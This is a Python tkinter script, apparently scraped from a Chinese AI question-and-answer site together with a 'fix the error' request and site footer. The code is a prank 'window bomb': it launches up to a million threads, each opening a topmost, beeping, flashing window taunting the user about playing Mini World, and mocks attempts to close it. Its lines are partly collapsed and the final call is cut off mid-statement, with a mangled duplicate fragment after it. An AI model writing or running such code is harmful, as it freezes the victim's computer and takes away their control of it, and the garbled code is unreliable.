import tkinter as tk from tkinter import messagebox import random import threading import time import ctypes

def boom(): def close_window(): messagebox.showinfo("你关不掉我吧", "你关不掉我吧") window.destroy()

window = tk.Tk()
window.attributes("-topmost", True)  # 设置窗口属性,使其置顶
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('迷你世界')
window.geometry("700x600" + "+" + str(a) + "+" + str(b))
window.protocol("WM_DELETE_WINDOW", close_window)

# 添加一个循环,使颜色慢慢变为绿色又变回来
color = 'red'
for _ in range(10):
    tk.Label(window, text='还敢玩迷你世界不?', bg=color,
             font=('宋体', 30), width=100, height=1000).pack()
    ctypes.windll.user32.MessageBeep(0xFFFFFFFF)
    window.update()
    time.sleep(0.5)
    if color == 'red':
        color = 'green'
    else:
        color = 'red'

window.mainloop()

threads = [] for i in range(1000000): t = threading.Thread(target=boom) threads.append(t) time.sleep(0.00001) threads[i].start(

修复错误:import tkinter as tkimport randomimport threadingimport timeimport ctypesdef boom def close_window messageboxshowinfo你关不掉我吧 你关不掉我吧 window = tkTk windowattributes-topmost True # 设

原文地址: https://www.cveoy.top/t/topic/ilIq 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录